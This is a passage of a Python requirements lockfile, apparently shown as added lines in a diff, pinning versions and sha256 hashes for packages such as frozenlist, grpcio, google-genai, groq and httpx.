--hash=sha256:6fbc49a86173e7f074b1a9ec8cf12ca0d54d8070a85a06ebf0e76c309b84f0d0 \ + --hash=sha256:73657c9f778aba530bc96a943d30e1a7c80edb8278df77894fe9457540df4f85 \ + --hash=sha256:73946cb950c8caf65127d4e9a325e2b6be0442a224fd51ba3b6ac44e1912ce34 \ + --hash=sha256:77a09cb7427e7af74c594e409f7731a0cf887221de2f698e1ca0ebf0f3139021 \ + --hash=sha256:77e94728324b63660ebf8adb27055e92d2e4611645bf12ed9d88d30486471d0a \ + --hash=sha256:7a3c0bca61eacc1843ea97b288d6789fbad7400d16db24e36a66c28c268cfe3d \ + --hash=sha256:7f2f3efade4937fae4e77efae1af571902263de7b78a0aee1a1653795a093b2a \ + --hash=sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09 \ + --hash=sha256:83cffc144dc93eb604b87b179837f2ce2af44871a7b323f2bfed40e8acb40ba8 \ + --hash=sha256:84b0779c5abbdec2a9511d5ffbfcd2e53079bf889824b32be170c0d8ef5fc74c \ + --hash=sha256:9579618be6280700ae36ac42c3efd157049fe4dd40ca49b021280481c78c3176 \ + --hash=sha256:9a133bf9cc78fdbd1179cb58a59ad0100aa32d8675508150f3658814aeefeaa4 \ + --hash=sha256:9bd57289daf7b153bfa3e8013446aa144ce5e8c825e9e366d455155ede5ea2dc \ + --hash=sha256:a0809f8cc5731c066c909047f9a314d5f536c871a7a22e815cc4967c110ac9ad \ + --hash=sha256:a6f46790d59ab38c6aa0e35c681c0484b50dc0acf9e2679c005d61e019313c24 \ + --hash=sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f \ + --hash=sha256:aa75b6657ec129d0abded3bec745e6f7ab642e6dba3a5272a68247e85f5f316f \ + --hash=sha256:ab32f74bd56565b186f036e33129da77db8be09178cd2f5206a5d4035fb2a23f \ + --hash=sha256:ab3f5d36e4393e628a4df337c2c039069344db5f4b9d2a3c9cea48284f1dd741 \ + --hash=sha256:ac60fc860cdf3c3f327374db87ab8e064c86566ca8c49d2e30df15eda1b0c2d5 \ + --hash=sha256:ae64ba730d179f439b0736208b4c279b8bc9c089b102aec23f86512ea458c8a4 \ + --hash=sha256:af5967c666b7d6a377098849b07f83462c4fedbafcf8eb8bc8ff05dcbe8aa209 \ + --hash=sha256:b2fdd48b5e4236df145a149d7125badb28e0a383372add3fbaac9a6b7a394470 \ + --hash=sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad \ + --hash=sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057 \ + --hash=sha256:bbb0c4b15d66b435d2538f3827f05e44e2baafcc003dd7d8472dc67807ab8fd8 \ + --hash=sha256:bcc96ee819c282e7c09b2eed2b9bd13084e3b749fdb2faf58c318d498df2efbe \ + --hash=sha256:c0a94245afae4d7af8c43b3159d5e3934c53f47140be0be624b96acd672ceb73 \ + --hash=sha256:c0eb25f0fd935e376ac4334927a59e7c823b36062080e2e13acbaf2af15db836 \ + --hash=sha256:c3091e63acf42f56a6f74dc65cfdb6f99bfc79b5913c8a9ac498eb7ca09770a8 \ + --hash=sha256:c501561e025b7aea3508719c5801c360c711d5218fc4ad5d77bf1c37c1a75779 \ + --hash=sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b \ + --hash=sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d \ + --hash=sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022 \ + --hash=sha256:cd5a7f648d4365b41dbf0e38fe8da4884e57bed4e77c83598e076ac0c93995e7 \ + --hash=sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070 \ + --hash=sha256:d31f8c257046b5617fc6af9c69be066d2412bdef1edaa4bdf6a214cf57806105 \ + --hash=sha256:d55b7e96531216fc4f071909e33e35e5bfa47962ae67d9e84b00a04d6e8b7173 \ + --hash=sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397 \ + --hash=sha256:de01280eabcd82f7542828ecd67ebf1551d37203ecdfd7ab1f2e534edb78d505 \ + --hash=sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a \ + --hash=sha256:e0976c0dff7e222513d206e06341503f07423aceb1db0b83ff6851c008ceee06 \ + --hash=sha256:e150eab56c95dc9e3fefc234a0eedb342fac433dacc273cd4d150a5b0871e1fa \ + --hash=sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06 \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 \ + --hash=sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad \ + --hash=sha256:f74631b8322d2780ebcf2d2d75d58045c3e9378625ec51865fe0b5620800c39d +filelock==3.20.3 \ + --hash=sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1 \ + --hash=sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1 +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ + --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ + --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 +func-timeout==4.3.5 \ + --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd +google-api-core==2.31.0 \ + --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ + --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab +google-api-python-client==2.184.0 \ + --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ + --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f +google-auth==2.53.0 \ + --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ + --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c +google-auth-httplib2==0.2.0 \ + --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ + --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d +google-auth-oauthlib==1.2.2 \ + --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ + --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 +google-genai==1.75.0 \ + --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ + --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c +googleapis-common-protos==1.70.0 \ + --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ + --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 +groq==0.32.0 \ + --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ + --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ + --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ + --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ + --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ + --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ + --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ + --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ + --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ + --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ + --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httplib2==0.32.0 \ + --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ + --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +httpx-sse==0.4.3 \ + --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc 